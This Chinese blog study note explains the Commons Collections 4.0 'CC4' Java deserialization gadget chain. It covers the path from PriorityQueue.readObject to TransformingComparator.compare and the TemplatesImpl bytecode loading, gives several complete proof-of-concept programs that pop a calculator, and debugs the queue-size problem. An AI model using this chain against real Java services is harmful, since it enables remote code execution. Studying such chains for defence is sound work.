CC4学习记录

🌸 CC4

CC4要求的commons-collections的版本是4.0的大版本。

其实后半条链是和cc3一样的,但是前面由于commons-collections进行了大的升级,所以出现了新的前半段链子。

配置文件:

<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version>
</dependency>
🌸 链子分析

还是从transform开始分析!查找调用transform方法的地方:

发现在comparators对比器中,TransformingComparator类中的compare方法中调用了transform方法!这是一个经典的比较器。

public int compare(final I obj1, final I obj2) {final O value1 = this.transformer.transform(obj1);final O value2 = this.transformer.transform(obj2);return this.decorated.compare(value1, value2);
}

继续向前查找谁又调用了compare方法,当然查找的方法还是一样的,这里的搜索结果就比较多了!

我们期望最好的结果就是某一个类中的readObject方法中调用了compare方法。这里就直接看结果,在PriorityQueue类中的readObject方法中调用了compare方法!

PriorityQueue类实现了Serializable接口,可以进行序列化。

其代码如上,可以看到在PriorityQueue类中的readObject方法的最后,调用了heapify方法。继续跟进到heapify方法里面:

private void heapify() {for (int i = (size >>> 1) - 1; i >= 0; i--)siftDown(i, (E) queue[i]);
}

该方法中通过for循环去调用了siftDown方法!for循环中的i初始化为size右移3位。继续跟进到siftDown方法中:

private void siftDown(int k, E x) {if (comparator != null)siftDownUsingComparator(k, x);elsesiftDownComparable(k, x);
}

siftDown方法中,通过if (comparator != null)判断comparator是否为空,如果不为空的话,就调用siftDownUsingComparator方法,继续跟进到这个方法中:

最后在siftDownUsingComparator方法中,通过comparator.compare()调用了compare方法。从而最终实现了代码执行(后面的半条链子就接上了cc3的链子)。

该类的构造器也是可以直接访问的,传入的参数就是comparator

到这里的话,就是比较清晰了:

PriorityQueue#readObject->PriorityQueue#heapify->PriorityQueue#siftDown->siftDownUsingComparator->TransformingComparator#compare

后续的话就是接上了cc3的链子!

🌸 编写POC

那么就可以尝试写POC了:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;public class CC4 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);//修改_tfactory变量
//        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
//        tfactoryField.setAccessible(true);
//        tfactoryField.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});//下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);TransformingComparator comparator = new TransformingComparator(chainedTransformer);PriorityQueue<Transformer> priorityQueue = new PriorityQueue<>(comparator);serialization(priorityQueue);deserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void deserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));objectInputStream.readObject();objectInputStream.close();}
}

但是当我们运行结束的时候,发现并没有执行任何代码。直接就结束了,也没有报错信息~

🌸 解决问题

因为我们想要尝试去执行PriorityQueuereadObject方法,所以我们直接尝试下断点到heapify

然后我们尝试进行调试:

跟进到这里我们可以发现size的结果是0,接下来执行的是for循环的第一次,i的结果就是size>>>1,在java中,>>>的含义是将一个数的二进制数右移几位,并在左侧空出来的位置,使用0进行填充。因此由于这里的size就是0,所以往右移动1位,还是0,然后i=0-1,得到了i=-1,由于i>=0这个条件并没有满足,所以整个for循环就没有进去!

2的二进制为00000010 -------> 00000001(右移一位的结果就是1),所以我们可以让size的结果是大于等于2的结果,此时就会进入for循环啦!这里有两个方法:

  1. 首先这里我们看到sizeprivate修饰的,所以我们可以尝试直接通过反射来修改size的参数值。
  2. 第二种方式就是可以通过往队列里面放入两个值,也是可以的!
🍂 往队列里面存放值解决

首先我们可以直接往priorityQueue里面存放队列,add方法用来增加队列,传递Transformer就可以了,所以我们尝试传递两个ConstantTransformer


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;public class CC4 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);//修改_tfactory变量Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});//下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);TransformingComparator comparator = new TransformingComparator(chainedTransformer);PriorityQueue<Transformer> priorityQueue = new PriorityQueue<>(comparator);priorityQueue.add(new ConstantTransformer(1));priorityQueue.add(new ConstantTransformer(2));serialization(priorityQueue);
//        deserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void deserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));objectInputStream.readObject();objectInputStream.close();}
}

但是发现代码在序列化的时候,就执行了弹计算器的操作!继续调试:我们发现在我们add的时候(断点直接下载add方法中),发现调用了offer方法:

(第二次add的时候,由于前面已经是add了一个值,所以size变成了1,然而初始化int i = size的时候,i的值就变成了 1 )继续跟进到offer方法中,然而在offer方法中,其完整的代码如下:

public boolean offer(E e) {if (e == null)throw new NullPointerException();modCount++;int i = size;if (i >= queue.length)grow(i + 1);size = i + 1;if (i == 0)queue[0] = e;elsesiftUp(i, e);return true;
}

这里就又调用了siftUp方法,继续跟进:

跟进到siftUp方法中发现:

调用了siftUpUsingComparator,再次跟进:

然而在siftUpUsingComparator方法中,居然就调用了compare方法,导致了我们的代码执行!所以这里需要通过反射改掉前面的某一个值,这个类似于前面的cc,比如改掉chainedTransformer,或者comparator里面的值就好了!


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;public class CC4 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);//修改_tfactory变量Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});//下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));PriorityQueue<Transformer> priorityQueue = new PriorityQueue<>(comparator);//解决for循环不进入的问题priorityQueue.add(new ConstantTransformer(1));priorityQueue.add(new ConstantTransformer(2));Class<? extends TransformingComparator> aClass = comparator.getClass();Field transformerField = aClass.getDeclaredField("transformer");transformerField.setAccessible(true);transformerField.set(comparator,chainedTransformer);
//        serialization(priorityQueue);deserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void deserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));objectInputStream.readObject();objectInputStream.close();}
}
🍂 反射解决

直接通过反射获取PriorityQueue这个类的原型类,然后进行获取私有的属性,最后在修改这个属性的参数。


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;public class CC4 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);//修改_tfactory变量Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});//下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);TransformingComparator comparator = new TransformingComparator(chainedTransformer);PriorityQueue<Transformer> priorityQueue = new PriorityQueue<>(comparator);Class<? extends PriorityQueue> aClass = priorityQueue.getClass();Field sizeField = aClass.getDeclaredField("size");sizeField.setAccessible(true);sizeField.set(priorityQueue,2);serialization(priorityQueue);deserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void deserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));objectInputStream.readObject();objectInputStream.close();}
}

 以上代码便可以成功的执行代码!弹出计算器!(这里不需要反射修改chainedTransformer,或者comparator的原因是,我们通过反射的方法修改了size的参数值,并没有利用add方法,也就不会在序列化的时候,就调用compare方法,也就不会在序列化的过程中就弹出计算器了)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/886455.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

自动化报表怎么写

自动化报表设计 标题 日期 筛选器 具体字段自由字段 迷你图 同环比 条件格式 步骤 填充数值 1、先筛选战区日期sumifs(纯数值-注册人数&#xff0c;纯数值-战区列&#xff0c;周报-战区单元格&#xff0c;纯数值-日期&#xff0c;周报-日期单元格) 需要注意⚠️纯数值里的单元格…

魔改log4j2的JsonLayout,支持自定义json格式日志

小伙伴们&#xff0c;你们好&#xff0c;我是老寇&#xff0c;我又回来辣&#xff0c;1个多月不见甚是想念啊&#xff01;&#xff01;&#xff01;跟我一起魔改源码吧 1.自定义json格式【PatternLayout】 大部分教程都是这个&#xff0c;因此&#xff0c;我就简单给个配置&a…

笔记分享: 西安交通大学COMP551705数据仓库与数据挖掘——02. 关联规则挖掘

文章目录 1. \textbf{1. } 1. 基本概念 2. \textbf{2. } 2. 布尔关联规则 2.1. \textbf{2.1. } 2.1. 一些基本概念 2.2. \textbf{2.2.} 2.2. Apriori \textbf{Apriori} Apriori算法 2.3. \textbf{2.3.} 2.3. Apriori \textbf{Apriori} Apriori算法示例 3. \textbf{3. } 3. 多…

基于标签相关性的多标签学习

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢&#xff0c;在这里我会分享我的知识和经验。&am…

网站小程序app怎么查有没有备案?

网站小程序app怎么查有没有备案&#xff1f;只需要官方一个网址就可以&#xff0c;工信部备案查询官网地址有且只有一个&#xff0c;百度搜索 "ICP备案查询" 找到官方gov.cn网站即可查询&#xff01; 注&#xff1a;网站小程序app备案查询&#xff0c;可通过输入单位…

手撸 chatgpt 大模型:简述 LLM 的架构,算法和训练流程

本节我们自顶向下看看大模型的相关概念&#xff0c;了解其基本架构以及从零手撸大模型的基本流程。自从 openai 释放了 chatgpt 后&#xff0c;人工智能就立马进入了大模型时代&#xff0c;我还记得在此之前 NLP 的处理主要依赖于深度学习的 LSTM&#xff0c;GRU 等模型架构。这…

爬虫——JSON数据处理

第三节&#xff1a;JSON数据处理 在爬虫开发中&#xff0c;JSON&#xff08;JavaScript Object Notation&#xff09;是最常见的数据格式之一&#xff0c;特别是在从API或动态网页中抓取数据时。JSON格式因其结构简单、可读性强、易于与其他系统交互而广泛应用于前端与后端的数…

SpringBoot集成itext导出PDF

添加依赖 <!-- PDF导出 --><dependency><groupId>com.itextpdf</groupId><artifactId>itextpdf</artifactId><version>5.5.11</version></dependency><dependency><groupId>com.itextpdf</groupId>&l…

【快速解决】kafka崩了,重启之后,想继续消费,怎么做?

目录 一、怎么寻找我们关心的主题在崩溃之前消费到了哪里&#xff1f; 1、一个问题&#xff1a; 2、查看消费者消费主题__consumer_offsets 3、一个重要前提&#xff1a;消费时要提交offset 二、指定 Offset 消费 假如遇到kafka崩了&#xff0c;你重启kafka之后&#xff0…

查询DBA_FREE_SPACE缓慢问题

这个是一个常见的问题&#xff0c;理论上应该也算是一个bug&#xff0c;在oracle10g&#xff0c;到19c&#xff0c;我都曾经遇到过&#xff1b;今天在给两套新建的19C RAC添加监控脚本时&#xff0c;又发现了这个问题&#xff0c;在这里记录一下。 Symptoms 环境&#xff1a;…

用OMS进行 OceanBase 租户间数据迁移的测评

基本概念 OceanBase迁移服务&#xff08;&#xff0c;简称OMS&#xff09;&#xff0c;可以让用户在同构或异构 RDBMS 与OceanBase 数据库之间进行数据交互&#xff0c;支持数据的在线迁移&#xff0c;以及实时增量同步的复制功能。 OMS 提供了可视化的集中管控平台&#xff…

IDEA一键部署SpringBoot项目到服务器

安装Alibaba Cloud Toolkit插件 配置部署环境 1&#xff1a;设置服务名称 2&#xff1a;选择文件上传的类型 3:选择打包之后的jar文件 4: 添加需要上传的服务器信息 5:需要上传到服务器的地址 输入绝对路径 6: 选择上传文件后执行的脚本 可以参考另一篇文章 Linux启…

渗透测试之信息收集 DNS主机发现探测方式NetBIOS 协议发现主机 以及相关PorCheck scanline工具的使用哟

目录 主机发现 利用NetBIOS 协议发现主机 利用TCP/UDP发现主机 PorCheck scanline 利用DNS协议发现主机 主机发现 信息收集中的一项重要工作是发现内网中的主机、数据库、IP段网络设备、安全设备等资产&#xff0c;以便于更快地获取更多权限和密码&#xff0c;更加接近红…

打造专业问答社区:Windows部署Apache Answer结合cpolar实现公网访问

文章目录 前言1. 本地安装Docker2. 本地部署Apache Answer2.1 设置语言选择简体中文2.2 配置数据库2.3 创建配置文件2.4 填写基本信息 3. 如何使用Apache Answer3.1 后台管理3.2 提问与回答3.3 查看主页回答情况 4. 公网远程访问本地 Apache Answer4.1 内网穿透工具安装4.2 创建…

基于java的医院门诊信息管理系统

一、作品包含 源码数据库设计文档万字PPT全套环境和工具资源部署教程 二、项目技术 前端技术&#xff1a;Html、Css、Js、Vue、Element-ui 数据库&#xff1a;MySQL 后端技术&#xff1a;Java、Spring Boot、MyBatis 三、运行环境 开发工具&#xff1a;IDEA/eclipse 数据…

67页PDF |埃森哲_XX集团信息发展规划IT治理优化方案(限免下载)

一、前言 这份报告是埃森哲_XX集团信息发展规划IT治理优化方案&#xff0c;报告中详细阐述了XX集团如何优化IT治理结构以适应新的要求。报告还分析了集团管控模式的变化&#xff0c;提出了六大业务中心的差异化管控策略&#xff0c;并探讨了这些变化对IT治理模式的影响。报告进…

【AI大模型】ELMo模型介绍:深度理解语言模型的嵌入艺术

学习目标 了解什么是ELMo.掌握ELMo的架构.掌握ELMo的预训练任务.了解ELMo的效果和成绩.了解ELMo的优缺点. 目录 &#x1f354; ELMo简介 &#x1f354; ELMo的架构 2.1 总体架构 2.2 Embedding模块 2.3 两部分的双层LSTM模块 2.4 词向量表征模块 &#x1f354; ELMo的预…

【srm,招标询价】采购电子化全流程,供应商准入审核,在线询价流程管理(JAVA+Vue+mysql)

前言&#xff1a; 随着互联网和数字技术的不断发展&#xff0c;企业采购管理逐渐走向数字化和智能化。数字化采购平台作为企业采购管理的新模式&#xff0c;能够提高采购效率、降低采购成本、优化供应商合作效率&#xff0c;已成为企业实现效益提升的关键手段。系统获取在文末…

优选算法 - 4 ( 链表 哈希表 字符串 9000 字详解 )

一&#xff1a;链表 1.1 链表常用技巧和操作总结 1.2 两数相加 题目链接&#xff1a;两数相加 /*** Definition for singly-linked list.* public class ListNode {* int val;* ListNode next;* ListNode() {}* ListNode(int val) { this.val val; }* …

小鸡模拟器 1.8.11 | 街机怀旧重温经典游戏,支持手柄

小鸡模拟器是一款支持多种经典游戏机模拟的游戏应用&#xff0c;包括街机、索尼(SONY)、世嘉、任天堂等主流掌机游戏以及PSP、GBA、NDS、SFC(超级任天堂SNES)、FC(红白机NES)、MD(世嘉MEGA DRIVE)、PS1、PS2等。应用支持手柄完美操作&#xff0c;兼容安卓手柄&#xff0c;让玩家…